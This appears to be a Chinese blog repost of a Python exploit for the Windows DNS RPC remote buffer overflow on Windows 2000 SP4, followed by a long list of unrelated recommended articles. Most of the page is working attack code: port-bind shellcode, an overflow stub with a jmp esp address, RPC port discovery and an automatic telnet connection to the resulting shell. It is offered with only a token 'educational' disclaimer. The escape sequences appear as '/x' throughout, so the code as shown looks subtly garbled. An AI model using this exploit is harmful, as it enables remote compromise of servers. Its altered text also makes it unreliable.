MS Windows DNS RPC Remote Buffer Overflow Exploit (win2k SP4)

内网渗透瑞士军刀-impacket工具解析(三) 在 Windows 操作系统中,DCERPC(Distributed Computing Environment Remote Procedure Call)是一种基于 DCE(Distributed Computing Environment)标准的远程过程调用机制。它是用于在分布式环境中进行进程间通信的一种协议。DCERPC 在 Windows 中被广泛用于实现远程管理和协议交互,特别是在 Windows 网络环境中。它提供了一种标准化的方式,使得不同计算机间的进程可以通过网络进行通信和调用远程过程。 阅读详情
  1. #!/usr/bin/python
  2. # Remote exploit for the 0day Windows DNS RPC service vulnerability as
  3. # described in [url]http://www.securityfocus.com/bid/23470/info.[/url] Tested on
  4. # Windows 2000 SP4. The exploit if successful binds a shell to TCP port 4444
  5. # and then connects to it.
  6. #
  7. # Cheers to metasploit for the first exploit.
  8. # Written for educational and testing purposes.
  9. # Author shall bear no responsibility for any damage caused by using this code
  10. # Winny Thomas :-)
  11. import os
  12. import sys
  13. import time
  14. from impacket.dcerpc import transport, dcerpc, epm
  15. from impacket import uuid
  16. #Portbind shellcode from metasploit; Binds port to TCP port 4444
  17. shellcode = "/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90/x90"
  18. shellcode += "/x29/xc9/x83/xe9/xb0/xe8/xff/xff/xff/xff/xc0/x5e/x81/x76/x0e/xe9"
  19. shellcode += "/x4a/xb6/xa9/x83/xee/xfc/xe2/xf4/x15/x20/x5d/xe4/x01/xb3/x49/x56"
  20. shellcode += "/x16/x2a/x3d/xc5/xcd/x6e/x3d/xec/xd5/xc1/xca/xac/x91/x4b/x59/x22"
  21. shellcode += "/xa6/x52/x3d/xf6/xc9/x4b/x5d/xe0/x62/x7e/x3d/xa8/x07/x7b/x76/x30"
  22. shellcode += "/x45/xce/x76/xdd/xee/x8b/x7c/xa4/xe8/x88/x5d/x5d/xd2/x1e/x92/x81"
  23. shellcode += "/x9c/xaf/x3d/xf6/xcd/x4b/x5d/xcf/x62/x46/xfd/x22/xb6/x56/xb7/x42"
  24. shellcode += "/xea/x66/x3d/x20/x85/x6e/xaa/xc8/x2a/x7b/x6d/xcd/x62/x09/x86/x22"
  25. shellcode += "/xa9/x46/x3d/xd9/xf5/xe7/x3d/xe9/xe1/x14/xde/x27/xa7/x44/x5a/xf9"
  26. shellcode += "/x16/x9c/xd0/xfa/x8f/x22/x85/x9b/x81/x3d/xc5/x9b/xb6/x1e/x49/x79"
  27. shellcode += "/x81/x81/x5b/x55/xd2/x1a/x49/x7f/xb6/xc3/x53/xcf/x68/xa7/xbe/xab"
  28. shellcode += "/xbc/x20/xb4/x56/x39/x22/x6f/xa0/x1c/xe7/xe1/x56/x3f/x19/xe5/xfa"
  29. shellcode += "/xba/x19/xf5/xfa/xaa/x19/x49/x79/x8f/x22/xa7/xf5/x8f/x19/x3f/x48"
  30. shellcode += "/x7c/x22/x12/xb3/x99/x8d/xe1/x56/x3f/x20/xa6/xf8/xbc/xb5/x66/xc1"
  31. shellcode += "/x4d/xe7/x98/x40/xbe/xb5/x60/xfa/xbc/xb5/x66/xc1/x0c/x03/x30/xe0"
  32. shellcode += "/xbe/xb5/x60/xf9/xbd/x1e/xe3/x56/x39/xd9/xde/x4e/x90/x8c/xcf/xfe"
  33. shellcode += "/x16/x9c/xe3/x56/x39/x2c/xdc/xcd/x8f/x22/xd5/xc4/x60/xaf/xdc/xf9"
  34. shellcode += "/xb0/x63/x7a/x20/x0e/x20/xf2/x20/x0b/x7b/x76/x5a/x43/xb4/xf4/x84"
  35. shellcode += "/x17/x08/x9a/x3a/x64/x30/x8e/x02/x42/xe1/xde/xdb/x17/xf9/xa0/x56"
  36. shellcode += "/x9c/x0e/x49/x7f/xb2/x1d/xe4/xf8/xb8/x1b/xdc/xa8/xb8/x1b/xe3/xf8"
  37. shellcode += "/x16/x9a/xde/x04/x30/x4f/x78/xfa/x16/x9c/xdc/x56/x16/x7d/x49/x79"
  38. shellcode += "/x62/x1d/x4a/x2a/x2d/x2e/x49/x7f/xbb/xb5/x66/xc1/x19/xc0/xb2/xf6"
  39. shellcode += "/xba/xb5/x60/x56/x39/x4a/xb6/xa9"
  40. # Stub sections taken from metasploit 
  41. stub = '/xd2/x5f/xab/xdb/x04/x00/x00/x00/x00/x00/x00/x00/x04/x00/x00/x00'
  42. stub += '/x70/x00/x00/x00/x00/x00/x00/x00/x1f/x38/x8a/x9f/x12/x05/x00/x00'
  43. stub += '/x00/x00/x00/x00/x12/x05/x00/x00'
  44. stub += '//A' * 465
  45. # At the time of overflow ESP points into our buffer which has each char 
  46. # prepended by a '/' and our shellcode code is about 24+ bytes away from 
  47. # where EDX points
  48. stub += '///x80///x62///xE1///x77'#Address of jmp esp from user32.dll
  49. # The following B's which in assembly translates to 'inc EDX' increments
  50. # about 31 times EDX so that it points into our shellcode 
  51. stub += '//B' * 43 
  52. # Translates to 'jmp EDX'
  53. stub += '///xff///xe2'
  54. stub += '//A' * 134 
  55. stub += '/x00/x00/x00/x00/x76/xcf/x80/xfd/x03/x00/x00/x00/x00/x00/x00/x00'
  56. stub += '/x03/x00/x00/x00/x47/x00/x00/x00'
  57. stub += shellcode
  58. # Code ripped from core security document on impacket
  59. # [url]www.coresecurity.com/files/attachments/impacketv0.9.6.0.pdf[/url] 
  60. # Not a neat way to discover a dynamic port :-)
  61. def DiscoverDNSport(target):
  62.   trans = transport.SMBTransport(target, 139, 'epmapper')
  63.   trans.connect()
  64.   dce = dcerpc.DCERPC_v5(trans)
  65.   dce.bind(uuid.uuidtup_to_bin(('E1AF8308-5D1F-11C9-91A4-08002B14A0FA','3.0')))
  66.   pm = epm.DCERPCEpm(dce)
  67.   handle = '/x00'*20
  68.   while 1:
  69.     dump = pm.portmap_dump(handle)
  70.     if not dump.get_entries_num():
  71.       break
  72.     handle = dump.get_handle()
  73.     entry = dump.get_entry().get_entry()
  74.     if(uuid.bin_to_string(entry.get_uuid()) == '50ABC2A4-574D-40B3-9D66-EE4FD5FBA076'):
  75.       port = entry.get_string_binding().split('[')[1][:-1]
  76.       return int(port)
  77.   print '[-] Could not locate DNS port; Target might not be running DNS'
  78. def ExploitDNS(target, port):
  79.   trans = transport.TCPTransport(target, port)
  80.   trans.connect()
  81.   dce = dcerpc.DCERPC_v5(trans)
  82.   dce.bind(uuid.uuidtup_to_bin(('50abc2a4-574d-40b3-9d66-ee4fd5fba076','5.0')))  
  83.   
  84.   dce.call(0x01, stub)
  85. def ConnectRemoteShell(target):
  86.   connect = "/usr/bin/telnet " + target + " 4444"
  87.   os.system(connect)
  88. if __name__ == '__main__':
  89.   try:
  90.     target = sys.argv[1]
  91.   except IndexError:
  92.     print 'Usage: %s <target ip address>' % sys.argv[0]
  93.     sys.exit(-1)
  94.   print '[+] Locating DNS RPC port'
  95.   port = DiscoverDNSport(target)
  96.   print '[+] Located DNS RPC service on TCP port: %d' % port
  97.   ExploitDNS(target, port)
  98.   print '[+] Exploit sent. Connecting to shell in 3 seconds'
  99.   time.sleep(3)
  100.   ConnectRemoteShell(target)
 
蓝牙 - 如何在Windows下抓取蓝牙数据 选择Windows Instarller(64-bit),最好不要选择PortableApps版,因为后面需要通过btvs.exe来启动Wireshark,如果是绿色可移植版,会启动失败。在安装完以后,找到btvs.exe文件,位于路径:C:\BTP\v1.14.0\x86下,这个视安装版本不同路径名不同。在第一台机器上启动btvs.exe,第二台机器上手动启动wireshark,并将第一台机器的IP地址作为参数。1,同一机器上,Wireshark安装后,会自动直接启动,如上面使用方式一样。 阅读详情

相关推荐

海康工业相机BayerRG8转BGR8实战:手把手教你用OpenCV实现高效图像转换

本文详细解析了海康工业相机BayerRG8格式到BGR8格式的高效转换实战。针对工业视觉项目中高帧率、大分辨率场景下的性能瓶颈,文章对比了海康SDK原生方案与OpenCV多种转换方法的优劣,并提供了从基础实现到高级优化(如多线程流水线、内存管理、SIMD指令集应用)的完整代码示例与性能调优策略,帮助开发者构建稳定、高效的图像处理系统。

weixin_29237635的博客 524

分布式通讯架构RPC简单实现

什么是RPC:     RPC(Remote Procedure Call,远程过程调用),一般用来实现部署在不同机器上的系统之间的方法调用,使得程序能够像访问本地系统资源一样,通过网络传输去访问远端系统资源;对于客户端来说, 传输层使用什么协议,序列化、反序列化都是透明的。   在分布式架构中,难免会涉及多个独立的服务之间的通讯,比如一个简单的电商系统中,按照业务领域拆分成三个独立的应用,用...

weixin_30631587的博客 189

百元DIY手机荧光计:低成本荧光检测平台搭建与实战

荧光检测是一种基于物质受特定波长光激发后发射更长波长荧光的分析技术,其核心原理在于光与物质的相互作用。通过选择性激发与检测,该技术能实现对痕量物质的高灵敏度、高特异性定量分析,在生物医学、环境监测和食品安全等领域具有重要价值。传统荧光分光光度计虽精度高,但成本昂贵、体积庞大且操作复杂,限制了其在现场快检和普及教育中的应用。本文聚焦于如何利用智能手机的高性能摄像头和处理器,结合低成本光学滤光片和LED光源,构建一个便携、经济的DIY荧光检测平台。该方案通过简化光路设计,采用带通滤光片进行波长选择,并利用图像处

weixin_34194829的博客 308

【分布式服务】 RPC 示例(Protocol Buffer)

分布式服务 RPC 示例(Protocol Buffer) 一、Protocol Buffer 官网 github mvn依赖 idea 插件 Protocol Buffer Editor mac 安装 brew install protobuf 存根定义 protobuf/service1.proto syntax = "proto3"; /* 支持导入 */ import "protobuf/test.proto"; /* java 生成的包路径 */ optio

qq_25951401的博客 460

记录一下本地部署Dify的坑

1. 截止2025-3-4为止,请注意,不要直接拉Dify的1.0.0版本。请先试用0.15.3版本。1.0.0有一个bug需要解决。3. 请使用docker-ce 新版本,docker-engine等老版本可能会有部分容器启动脚本执行莫名报错。2. 注意,请使用docker-compose V2版本,或者V1较高版本,否则会导致解析官方yml模板错误。

哈利路亚的收藏夹 5346

线性回归LinearRegression

对视频中线性回归算法的相关内容进行总结与记录 文章目录一、理论基础二、实例2.1 一元线性回归2.1.1 推导过程2.1.2 代码实现(基于numpy)2.1.3 代码实现(基于sklearn)2.2 多元线性回归2.2.1 代码实现(基于numpy)2.2.2 代码实现(基于sklearn) 一、理论基础 回归 通常是指利用某个函数,尽可能把数据样本点“串”在一起,用于描述输入变量和输出变量间的变化关系 线性回归 特点:用来把数据“串”起来的那个函数是线性的 (一元线性回归(一个自变量) &a.

邱邱邱的博客 1068

lotus 32GB 扇区

lotus 32GB 扇区1,lotus 32GB 扇区 1,lotus 32GB 扇区 存储时间 2020年 01月 19日 星期日 15:57:03 CST lotus-storage-miner pledge-sector 2020-01-19T16:24:57.564+0800 INFO main lotus-seal-worker/sub.go:70 New task: 4, s...

mixboot 1960

BDD测试之Behave使用入门

BDD测试(Behavior-Driven Development Testing)是一种基于“行为驱动开发”(BDD)理念。

想要成为酷盖但是失败的小明 581

缓冲区溢出(buffer overflow)避免方法

什么是缓冲区溢出? copy数据进buffer时,数据长度超过buffer中的剩余空间。 缓冲区溢出的危害? 缓冲区溢出,结果随机,可能会导致程序功能不正常,也可能导致程序崩溃。如果受到影响的是其它功能,因为故障现象随机,所以问题通常很难定位。别有用心的攻击者还会利用缓冲区溢出缺陷,覆盖控制变量的内容,接管程序的运行。 详细来说: 读越界时,因为读取到错误的数据,所以可能导致功能不正常,...

刘一凡的博客 3万+

COMSOL电磁仿真案例——感应线圈

COMSOL电磁建模仿真案例——感应线圈

冲击10w 6万+

aubo i5 + realsense D435i识别抓取实践二

aubo i5 + realsense D435i识别抓取实践二前言一、手眼标定是什么?二、标定软件安装1.aruco_ros安装2.vision_visp安装3.easy_handeye安装4.realsense驱动安装5.安装realsense ROS软件包三、配置1.launch文件修改2.打印二维码四、手眼标定1.启动launch文件2.标定步骤3.发布tf关系 前言 前面配置好了aubo机械臂的ROS软件包,机械臂可以正常运行后,接下来我们进行机械臂与相机的手眼标定。手眼标定分为eye_on_ha

转角 6375

永恒之蓝(MS17-010)漏洞实战攻略

本文主要讲述了永恒之蓝(MS17-010)的漏洞实战,详细记载解释了每个命令的构成以及永恒之蓝如何运用SMB漏洞进行攻击,帮助网安小白理解,简单介绍了检测和防御永恒之蓝的方式,并附有win7虚拟机的安装教程和永恒之蓝漏洞实战的精简流程.

Yan_chen666的博客 574

Python 爬虫实战:爬取电商平台商品信息(价格 / 销量 / 评价)

摘要:本文详细介绍基于Python的电商商品信息爬取技术方案,以京东商品详情页为例,对比分析静态(BeautifulSoup)和动态(Selenium)两种爬取方式的实现逻辑。静态爬取适合获取基础信息,而动态爬取可解决JS渲染数据的获取问题。文章包含完整的代码实现、反爬规避策略及数据存储方案,涵盖商品名称、价格、销量、评价等核心数据提取。同时强调爬虫的合规使用,提供扩展方向建议,为电商数据采集提供实用技术参考。

2503_91057718的博客 2024

缓存溢出Buffer Overflow

缓存溢出(Buffer overflow),是指在存在缓存溢出安全漏洞的计算机中,攻击者可以用超出常规长度的字符数来填满一个域,通常是内存区地址。在某些情况下,这些过量的字符能够作为“可执行”代码来运行。从而使得攻击者可以不受安全措施的约束来控制被攻击的计算机。 缓存溢出(或译为缓冲溢出)为黑客最为常用的攻击手段之一,蠕虫病毒对操作系统高危漏洞的溢出高速与大规模传播均是利用此技术。

远有青山 1万+

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

DCE/MS RPC旁窥

分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.youkuaiyun.com/jiangjunshow也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 目录:&nbs

jgftyfc的博客 1893

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

MS EPM简介

企业项目管理(EPM, Enterprise Project Management)是指为达到组织目标而采取的系统化的方法,利用企业的人员、过程和技术来促进转变,以保持组织现存的状态和竞争优势。每个部门都有进行中的项目。在企业中,项目是无处不在的。无论是企业决策者还是部门领导都需要有效的管理、分析与监控进行中的项目的工具。在企业内部跨部门参与是关键。 企业对项目管理的需求:  企业

seaskycheng的专栏 1112

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

filecoin小集群封装数据流程

2020-11-24 要搞清楚KG的收益 从跟踪一个新KG开始 官方代码:https://github.com/filecoin-project/lotus 对官方代码1.2.1调度部分修改,编译,部署 三台矿机配置 192.168.1.127 跑lotus和miner Intel(R) Xeon(R) CPU E5-2678 v3 @ 2.50GHz 12核 48线程 内存512G 固态 3.7TGeForce RTX 2080 Ti 192.168.1.112 跑worker...

曹昆的技术博客 1万+

微信QQ支付宝三合一收款二维码实现原理

大致原理如下: 第一步、解析用户上传的微信支付、QQ钱包、支付宝收款二维码,获取收款链接地址。 第二步、用自己的网站程序生成一张二维码的图片,比如我下面这张图: 这张图的二维码链接大概是这样: http://接口域名/api.html?uid=5230 这个链接的意思就是传一个用户ID到后端控制器,或者直接传到前端页面(前提是这个用户已经上传了收款码到网站上),然后就开始判断扫描二维.........

美奇软件开发工作室 28万+

获取配置文件中configSections的配置信息!-.

configsections的作用很多!我就不多举了。 首先要注意的一点是!configsections关联的类型在一个进程内只实例化一次, 1、配置文件web.config &lt;?xml version="1.0" encoding="utf-8" ?&gt; &lt;configuration&gt; &lt;configsections&gt; &lt;section name="xin...

weixin_34162629的博客 220

ubuntu vim 编程好帮手

ubuntu vim 编程好帮手 sudo apt-get install terminator

飞鸟与鱼 172

lotus 区块高度 导出快照

lotus 区块高度 导出快照1,导出快照2,导入快照 1,导出快照 找一个已经同步完区块高度的节点 lotus chain export --recent-stateroots=900 --skip-old-msgs snapshot.car 导出时间大概30分钟,快照3.9GB # ls -lh | grep snapshot.car -rw-r--r-- 1 root root 3.9G 9月 28 10:50 snapshot.car 2,导入快照 新节点导入快照,加速区块高度同步 lotus

mixboot 3887

百度首页被黑 怀疑百度涉嫌干涉以色列广播虚假新闻被黑

百度被黑 导致无法访问 页面指向“伊朗网军”来源:http://www.ltesting.net/html/41/n-168541.html   国际在线消息:1月12日早上,搜索引擎网站百度(www.baidu.com)被发现无法打开,网站处于无法访问状态,也没有出现任何提示消息。   据网友反应,今早8点多,www.baidu.com曾经被定向到一个 “Irania

领测老贺-领测软件测试网 3251

STL容器(一)——List

STL容器之List

bigfacesafdasgfewgf 669

http工作流程

一次HTTP操作称为一个事务,其工作过程可分为四步: 1)首先客户机与服务器需要建立连接。只要单击某个超级链接,HTTP的工作开始。 2)建立连接后,客户机发送一个请求给服务器,请求方式的格式为:统一资源标识符(URL)、协议版本号,后边是MIME信息包括请求修饰符、客户机信息和可能的内容。 3)服务器接到请求后,给予相应的响应信息,其格式为一个状态行,包括信息的协议版本号、一个成功或错误的...

zhaosansao的博客 2204

samba 最新漏洞代码POC

#!/usr/bin/python """ PoCforSambavulnerabilty(CVE-2015-0240)bysleepya ThisPoCdoesonlytriggeringthebug Reference: -https://securityblog.redhat.com/2015/02/23/samba-vulnerabilit...

weixin_34393428的博客 374

图片格式介绍

重新加载原始网页打印 常见图片格式大全_金陵数码_摄影_西祠胡同 我们在用ACDSEE打开非主流图片的时候,有没有注意到文件的后缀名,没错,非主流图片的后缀名酒是它的文件格式。不同的文件格式体现了不同文件的独特性能。如非主流P图软件的固有格式PSD体现了Photoshop独特的功能和对功能的优化,例如:PSD格式可以比其他格式更快速地打开和保存图像,很好的保存层、蒙版...

822
上一篇: MS Windows DCE-RPC svcctl ChangeServiceConfig2A() 0day Memory Corruption PoC Exploit
下一篇: FlashGet 1.9.0.1012 (FTP PWD Response) SEH STACK Overflow Exploit
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值